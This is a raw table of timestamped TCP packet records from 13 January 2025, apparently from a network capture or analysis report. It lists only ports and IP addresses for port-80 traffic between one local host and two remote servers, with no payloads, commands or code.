Jan 13, 2025 09:22:21.987970114 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.988012075 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:22.071762085 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071790934 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071814060 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071827888 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071842909 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071856976 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071871996 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071885109 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071899891 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.071983099 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:22.071983099 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:22.071983099 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:22.072060108 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:22.072067022 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.072082043 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.072098017 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:22.072129011 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:22.072151899 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:22.072151899 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:22.276441097 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:22.284522057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:22.284626961 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:22.284744024 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:22.289552927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941375017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941426992 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941440105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941442013 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.941504955 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.941538095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941553116 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941567898 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941582918 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941597939 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941606045 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.941620111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941633940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.941646099 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.941646099 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.941675901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.941675901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.946196079 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.946219921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.946245909 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.946286917 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.946508884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.946532965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:23.946546078 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:23.946777105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.033817053 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.033834934 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.033849001 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.033942938 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.033942938 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.033971071 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.034015894 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.034033060 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.034873009 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.178189039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178208113 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178231001 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178262949 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.178287029 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.178322077 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178375006 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178390026 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178396940 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.178428888 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178447008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178463936 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.178478956 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.178484917 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.178524971 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.179327011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.179343939 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.179358959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.179384947 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.179397106 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180247068 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180262089 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180284977 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180300951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180316925 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180320024 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180329084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180329084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180433989 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180630922 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180644989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180660963 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180675030 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180686951 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180686951 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180691004 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180716038 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180716038 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.180732012 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.180797100 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.181468010 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.181499004 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.181521893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.181536913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.181550980 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.181552887 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.181557894 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.181766987 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.270550013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.270615101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.270628929 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.270653963 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.270677090 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.270692110 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.270692110 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.270694017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.270716906 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.270740986 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.270740986 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.270767927 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.271229982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.271245956 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.271260023 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.271275043 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.271275043 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.271305084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.271305084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.271341085 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416191101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416275024 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416286945 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416291952 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416309118 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416321993 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416344881 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416357994 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416361094 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416392088 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416414022 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416594028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416608095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416624069 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416637897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416645050 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416645050 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416661024 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416665077 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416676998 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.416698933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416698933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.416759014 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417109966 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417135000 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417150021 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417176962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417176962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417177916 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417187929 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417191982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417207003 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417253017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417253017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417869091 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417882919 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417897940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417912006 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417927027 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417934895 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417934895 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417941093 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417956114 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417969942 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417984962 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.417984962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.417984962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.418021917 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.418095112 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.418737888 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.418754101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.418768883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.418781996 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.418797016 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.418812037 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.418812037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.418812037 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.418855906 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.418855906 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.419369936 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419384956 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419399977 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419411898 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.419414997 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419430017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419444084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.419444084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.419451952 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419466972 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419472933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.419481039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419496059 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.419512987 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.419512987 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.419564962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.420329094 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420344114 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420361042 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420375109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420388937 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420402050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420409918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.420409918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.420417070 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420430899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420448065 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.420460939 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.420460939 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.420500994 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.421206951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.421220064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.421446085 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.508816004 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508841038 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508857012 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508877993 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508881092 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.508893967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508908033 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508913040 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.508924007 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508938074 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508953094 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508954048 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.508954048 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.508968115 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508984089 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.508985996 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.508996964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509002924 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509012938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509043932 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509094954 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509099007 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509169102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509182930 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509197950 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509213924 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509224892 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509224892 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509227991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509248018 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509260893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509269953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509269953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509313107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509679079 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509701967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509716988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509731054 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509737968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509737968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509747028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509761095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509771109 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509771109 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509776115 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509785891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509790897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509805918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509807110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509819984 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.509829998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509830952 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509860039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.509860039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654144049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654184103 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654239893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654252052 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654252052 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654275894 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654304028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654330015 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654336929 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654365063 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654417038 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654453993 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654547930 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654596090 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654596090 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654635906 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654649973 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654690027 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654723883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654758930 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654771090 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654771090 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.654793978 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654831886 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.654937983 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.655150890 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655204058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655237913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655287981 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655337095 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.655347109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655381918 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655419111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655452013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655486107 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655498028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.655498028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.655520916 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655555964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655586958 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.655590057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655625105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655653954 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.655657053 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655694008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655704975 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.655750990 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.655858040 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655893087 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655925989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.655993938 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.656023979 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.657593012 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657623053 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657675982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657711029 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657717943 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.657717943 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.657744884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657780886 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657814980 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657839060 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:24.657849073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657919884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.657973051 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:24.658006907 CET	80	49865	104.21.32.1	192.168.2.5
